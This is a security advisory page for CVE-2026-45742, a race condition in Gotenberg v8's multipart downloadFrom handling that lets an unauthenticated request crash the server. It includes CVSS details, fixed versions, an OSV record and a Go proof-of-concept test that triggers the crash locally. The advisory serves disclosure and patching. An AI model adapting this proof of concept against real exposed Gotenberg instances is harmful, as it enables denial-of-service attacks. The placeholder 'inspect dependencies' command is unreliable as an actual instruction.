CVE-2026-45742: Github.com/gotenberg/gotenberg/v8 Gotenberg Has A Race Condition Vulnerability

HIGH
Advisory Identifier: GHSA-vp73-vjw8-8f32
CVSS 7.5
CWE-362
Published
Advisory Summary

CVE-2026-45742 is a HIGH (CVSS 7.5) gotenberg has a race condition vulnerability (CWE-362: Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')) affecting Github.com/gotenberg/gotenberg/v8 libraries in the Go ecosystem. The issue involves gotenberg has a race condition via multipart `downloadfrom` handling. Remediation is available by upgrading affected packages to version 8.33.0.

CVE-2026-45742 at a Glance

CVE Identifier CVE-2026-45742
GHSA Identifier GHSA-vp73-vjw8-8f32
Severity HIGH
CVSS v3.1 Base Score 7.5
CWE Classification CWE-362: Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')
Affected Product Github.com/gotenberg/gotenberg/v8
Package Ecosystem Go
Published Date
Last Updated

Security Impact

CVSS: 7.5

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality None (C:N)
Integrity None (I:N)
Availability High (A:H)

How to Fix CVE-2026-45742

To remediate this vulnerability, upgrade all affected Github.com/gotenberg/gotenberg/v8 dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

github.com/gotenberg/gotenberg/v8 fixed: 8.33.0
Upgrade github.com/gotenberg/gotenberg/v8 to 8.33.0
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for github.com/gotenberg/gotenberg/v8

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-45742, inspect your project dependencies for Github.com/gotenberg/gotenberg/v8:

inspect dependencies for github.com/gotenberg/gotenberg/v8

Analyze the terminal output to locate any version of Github.com/gotenberg/gotenberg/v8 in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 8.33.0), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-362: Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition'), where the product contains a concurrent code sequence that requires temporary, exclusive access to a shared resource, but a timing window exists in which the shared resource can be modified by another code sequence operating concurrently. In Github.com/gotenberg/gotenberg/v8, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary Gotenberg is vulnerable to a remote denial of service in multipart `downloadFrom` handling. A multipart request containing multiple `downloadFrom` entries causes concurrent goroutines to write to shared maps without synchronization. This can terminate the process with `fatal error: concurrent map writes`. In the default configuration, `downloadFrom` is enabled and authentication is disabled, so an exposed instance can be crashed by an unauthenticated remote attacker. ### Details The issue is in `pkg/modules/api/context.go`. `newContext` parses multipart requests and processes the `downloadFrom` form field before the route handler runs. For each `downloadFrom` entry, it starts a goroutine via `errgroup.Go()`: - `pkg/modules/api/context.go:221` Each goroutine downloads a file and then writes to request context maps shared by all goroutines: - `ctx.files[filename] = path` - `ctx.diskToOriginal[path] = filename` - `ctx.filesByField[...] = append(...)` Affected lines in current `main`: - `pkg/modules/api/context.go:395` - `pkg/modules/api/context.go:396` - `pkg/modules/api/context.go:401` Go maps and slices are not safe for concurrent writes. A crafted multipart request with many `downloadFrom` entries can therefore trigger a runtime crash. The vulnerable `downloadFrom` feature was introduced in commit `f2b6bd3d`. The first tagged release containing this code appears to be `v8.10.0`. ### PoC The following self-contained command creates a temporary test file, runs the PoC, and removes the file afterwards. It does not require any external network access. Run from the repository root: cat > pkg/modules/api/downloadfrom_race_poc_test.go <<'EOF' //go:build security_poc package api import ( "bytes" "encoding/json" "fmt" "log/slog" "mime/multipart" "net/http" "net/http/httptest" "sync" "testing" "time" "github.com/labstack/echo/v4" "github.com/gotenberg/gotenberg/v8/pkg/gotenberg" ) func TestSecurityPoCDownloadFromConcurrentMapWrites(t *testing.T) { const downloads = 64 var ready sync.WaitGroup ready.Add(downloads) release := make(chan struct{}) var releaseOnce sync.Once server := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { ready.Done() go func() { ready.Wait() releaseOnce.Do(func() { close(release) }) }() <-release filename := fmt.Sprintf("download-%s.txt", r.URL.Query().Get("i")) w.Header().Set("Content-Disposition", fmt.Sprintf(`attachment; filename="%s"`, filename)) _, _ = w.Write([]byte("downloaded")) })) defer server.Close() dls := make([]downloadFrom, downloads) for i := range dls { dls[i] = downloadFrom{ Url: fmt.Sprintf("%s/file?i=%d", server.URL, i), Field: "embedded", } } payload, err := json.Marshal(dls) if err != nil { t.Fatalf("marshal downloadFrom payload: %v", err) } body := new(bytes.Buffer) writer := multipart.NewWriter(body) err = writer.WriteField("downloadFrom", string(payload)) if err != nil { t.Fatalf("write downloadFrom field: %v", err) } err = writer.Close() if err != nil { t.Fatalf("close multipart writer: %v", err) } req := httptest.NewRequest(http.MethodPost, "/forms/libreoffice/convert", body) req.Header.Set("Content-Type", writer.FormDataContentType()) echoCtx := echo.New().NewContext(req, httptest.NewRecorder()) logger := slog.New(slog.DiscardHandler) fs := gotenberg.NewFileSystem(new(gotenberg.OsMkdirAll)) downloadFromCfg := downloadFromConfig{ maxRetry: 0, } ctx, cancel, err := newContext(echoCtx, logger, fs, 10*time.Second, 0, downloadFromCfg) if err != nil { t.Fatalf("newContext returned error: %v", err) } defer cancel() if got := len(ctx.files); got != downloads { t.Fatalf("downloaded files = %d, want %d", got, downloads) } } EOF GOTOOLCHAIN=go1.26.2 go test -race -tags security_poc ./pkg/modules/api -run TestSecurityPoCDownloadFromConcurrentMapWrites -count=1 rm pkg/modules/api/downloadfrom_race_poc_test.go Expected result with the race detector: WARNING: DATA RACE Write at ... github.com/gotenberg/gotenberg/v8/pkg/modules/api.newContext.func3() .../pkg/modules/api/context.go:395 WARNING: DATA RACE .../pkg/modules/api/context.go:396 WARNING: DATA RACE .../pkg/modules/api/context.go:401 Running the same PoC without `-race` also demonstrates practical process termination: GOTOOLCHAIN=go1.26.2 go test -tags security_poc ./pkg/modules/api -run TestSecurityPoCDownloadFromConcurrentMapWrites -count=20 Observed result: fatal error: concurrent map writes github.com/gotenberg/gotenberg/v8/pkg/modules/api.newContext.func3() .../pkg/modules/api/context.go:395 FAIL github.com/gotenberg/gotenberg/v8/pkg/modules/api ### Impact This is a remote denial-of-service vulnerability. Any deployment that exposes multipart conversion endpoints with `downloadFrom` enabled is affected. In the default configuration, `downloadFrom` is enabled and basic authentication is disabled, so internet-exposed default deployments may be vulnerable to unauthenticated process termination. The vulnerability affects availability only. I did not find evidence of confidentiality or integrity impact.

CVE-2026-45742 Affected Github.com/gotenberg/gotenberg/v8 Versions

1 component(s)
Fixed Versions:
8.33.0
Product / Package Ecosystem Affected Versions Fixed Version
github.com/gotenberg/gotenberg/v8
Go
≥ 8.10.0
< 8.33.0
8.33.0

References

Frequently Asked Questions

What is CVE-2026-45742?
CVE-2026-45742 is a security vulnerability in Github.com/gotenberg/gotenberg/v8 involving Gotenberg has a Race Condition via Multipart `downloadFrom` Handling under CWE-362: Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition').
Which Github.com/gotenberg/gotenberg/v8 versions are affected?
Affected versions include releases prior to 8.33.0 across affected packages: github.com/gotenberg/gotenberg/v8.
What version fixes CVE-2026-45742?
Upgrading to 8.33.0 (or the latest patched release for your respective branch) resolves the vulnerability.
Is github.com/gotenberg/gotenberg/v8 affected?
Yes, github.com/gotenberg/gotenberg/v8 is affected in releases prior to 8.33.0. Upgrade your dependency to 8.33.0 or later.
What is the CVSS score of CVE-2026-45742?
CVE-2026-45742 has a CVSS v3.1 base score of 7.5 (HIGH) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H.
What CWE is associated with CVE-2026-45742?
CVE-2026-45742 is classified under CWE-362: Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition') (The product contains a concurrent code sequence that requires temporary, exclusive access to a shared resource, but a timing window exists in which the shared resource can be modified by another code sequence operating concurrently.).
How can I check Go dependencies for CVE-2026-45742?
Run the dependency tree command: 'inspect dependencies for github.com/gotenberg/gotenberg/v8'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-vp73-vjw8-8f32",
  "modified" : "2026-05-29T16:56:18Z",
  "published" : "2026-05-29T16:56:18Z",
  "aliases" : [ "CVE-2026-45742" ],
  "summary" : "Gotenberg has a Race Condition via Multipart `downloadFrom` Handling",
  "details" : "### Summary\n\nGotenberg is vulnerable to a remote denial of service in multipart `downloadFrom` handling.\n\nA multipart request containing multiple `downloadFrom` entries causes concurrent goroutines to write to shared maps without synchronization. This can terminate the process with `fatal error: concurrent map writes`.\n\nIn the default configuration, `downloadFrom` is enabled and authentication is disabled, so an exposed instance can be crashed by an unauthenticated remote attacker.\n\n### Details\n\nThe issue is in `pkg/modules/api/context.go`.\n\n`newContext` parses multipart requests and processes the `downloadFrom` form field before the route handler runs. For each `downloadFrom` entry, it starts a goroutine via `errgroup.Go()`:\n\n- `pkg/modules/api/context.go:221`\n\nEach goroutine downloads a file and then writes to request context maps shared by all goroutines:\n\n- `ctx.files[filename] = path`\n- `ctx.diskToOriginal[path] = filename`\n- `ctx.filesByField[...] = append(...)`\n\nAffected lines in current `main`:\n\n- `pkg/modules/api/context.go:395`\n- `pkg/modules/api/context.go:396`\n- `pkg/modules/api/context.go:401`\n\nGo maps and slices are not safe for concurrent writes. A crafted multipart request with many `downloadFrom` entries can therefore trigger a runtime crash.\n\nThe vulnerable `downloadFrom` feature was introduced in commit `f2b6bd3d`. The first tagged release containing this code appears to be `v8.10.0`.\n\n### PoC\n\nThe following self-contained command creates a temporary test file, runs the PoC, and removes the file afterwards. It does not require any external network access.\n\nRun from the repository root:\n\n    cat > pkg/modules/api/downloadfrom_race_poc_test.go <<'EOF'\n    //go:build security_poc\n\n    package api\n\n    import (\n        \"bytes\"\n        \"encoding/json\"\n        \"fmt\"\n        \"log/slog\"\n        \"mime/multipart\"\n        \"net/http\"\n        \"net/http/httptest\"\n        \"sync\"\n        \"testing\"\n        \"time\"\n\n        \"github.com/labstack/echo/v4\"\n\n        \"github.com/gotenberg/gotenberg/v8/pkg/gotenberg\"\n    )\n\n    func TestSecurityPoCDownloadFromConcurrentMapWrites(t *testing.T) {\n        const downloads = 64\n\n        var ready sync.WaitGroup\n        ready.Add(downloads)\n        release := make(chan struct{})\n        var releaseOnce sync.Once\n\n        server := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {\n            ready.Done()\n            go func() {\n                ready.Wait()\n                releaseOnce.Do(func() {\n                    close(release)\n                })\n            }()\n            <-release\n\n            filename := fmt.Sprintf(\"download-%s.txt\", r.URL.Query().Get(\"i\"))\n            w.Header().Set(\"Content-Disposition\", fmt.Sprintf(`attachment; filename=\"%s\"`, filename))\n            _, _ = w.Write([]byte(\"downloaded\"))\n        }))\n        defer server.Close()\n\n        dls := make([]downloadFrom, downloads)\n        for i := range dls {\n            dls[i] = downloadFrom{\n                Url:   fmt.Sprintf(\"%s/file?i=%d\", server.URL, i),\n                Field: \"embedded\",\n            }\n        }\n\n        payload, err := json.Marshal(dls)\n        if err != nil {\n            t.Fatalf(\"marshal downloadFrom payload: %v\", err)\n        }\n\n        body := new(bytes.Buffer)\n        writer := multipart.NewWriter(body)\n        err = writer.WriteField(\"downloadFrom\", string(payload))\n        if err != nil {\n            t.Fatalf(\"write downloadFrom field: %v\", err)\n        }\n        err = writer.Close()\n        if err != nil {\n            t.Fatalf(\"close multipart writer: %v\", err)\n        }\n\n        req := httptest.NewRequest(http.MethodPost, \"/forms/libreoffice/convert\", body)\n        req.Header.Set(\"Content-Type\", writer.FormDataContentType())\n\n        echoCtx := echo.New().NewContext(req, httptest.NewRecorder())\n        logger := slog.New(slog.DiscardHandler)\n        fs := gotenberg.NewFileSystem(new(gotenberg.OsMkdirAll))\n        downloadFromCfg := downloadFromConfig{\n            maxRetry: 0,\n        }\n\n        ctx, cancel, err := newContext(echoCtx, logger, fs, 10*time.Second, 0, downloadFromCfg)\n        if err != nil {\n            t.Fatalf(\"newContext returned error: %v\", err)\n        }\n        defer cancel()\n\n        if got := len(ctx.files); got != downloads {\n            t.Fatalf(\"downloaded files = %d, want %d\", got, downloads)\n        }\n    }\n    EOF\n\n    GOTOOLCHAIN=go1.26.2 go test -race -tags security_poc ./pkg/modules/api -run TestSecurityPoCDownloadFromConcurrentMapWrites -count=1\n    rm pkg/modules/api/downloadfrom_race_poc_test.go\n\nExpected result with the race detector:\n\n    WARNING: DATA RACE\n    Write at ...\n      github.com/gotenberg/gotenberg/v8/pkg/modules/api.newContext.func3()\n        .../pkg/modules/api/context.go:395\n\n    WARNING: DATA RACE\n      .../pkg/modules/api/context.go:396\n\n    WARNING: DATA RACE\n      .../pkg/modules/api/context.go:401\n\nRunning the same PoC without `-race` also demonstrates practical process termination:\n\n    GOTOOLCHAIN=go1.26.2 go test -tags security_poc ./pkg/modules/api -run TestSecurityPoCDownloadFromConcurrentMapWrites -count=20\n\nObserved result:\n\n    fatal error: concurrent map writes\n    github.com/gotenberg/gotenberg/v8/pkg/modules/api.newContext.func3()\n      .../pkg/modules/api/context.go:395\n    FAIL github.com/gotenberg/gotenberg/v8/pkg/modules/api\n\n### Impact\n\nThis is a remote denial-of-service vulnerability.\n\nAny deployment that exposes multipart conversion endpoints with `downloadFrom` enabled is affected. In the default configuration, `downloadFrom` is enabled and basic authentication is disabled, so internet-exposed default deployments may be vulnerable to unauthenticated process termination.\n\nThe vulnerability affects availability only. I did not find evidence of confidentiality or integrity impact.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/gotenberg/gotenberg/v8"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "8.10.0"
      }, {
        "fixed" : "8.33.0"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 8.32.0"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/gotenberg/gotenberg/security/advisories/GHSA-vp73-vjw8-8f32"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/gotenberg/gotenberg"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/gotenberg/gotenberg/releases/tag/v8.33.0"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-362" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-05-29T16:56:18Z",
    "nvd_published_at" : null
  }
}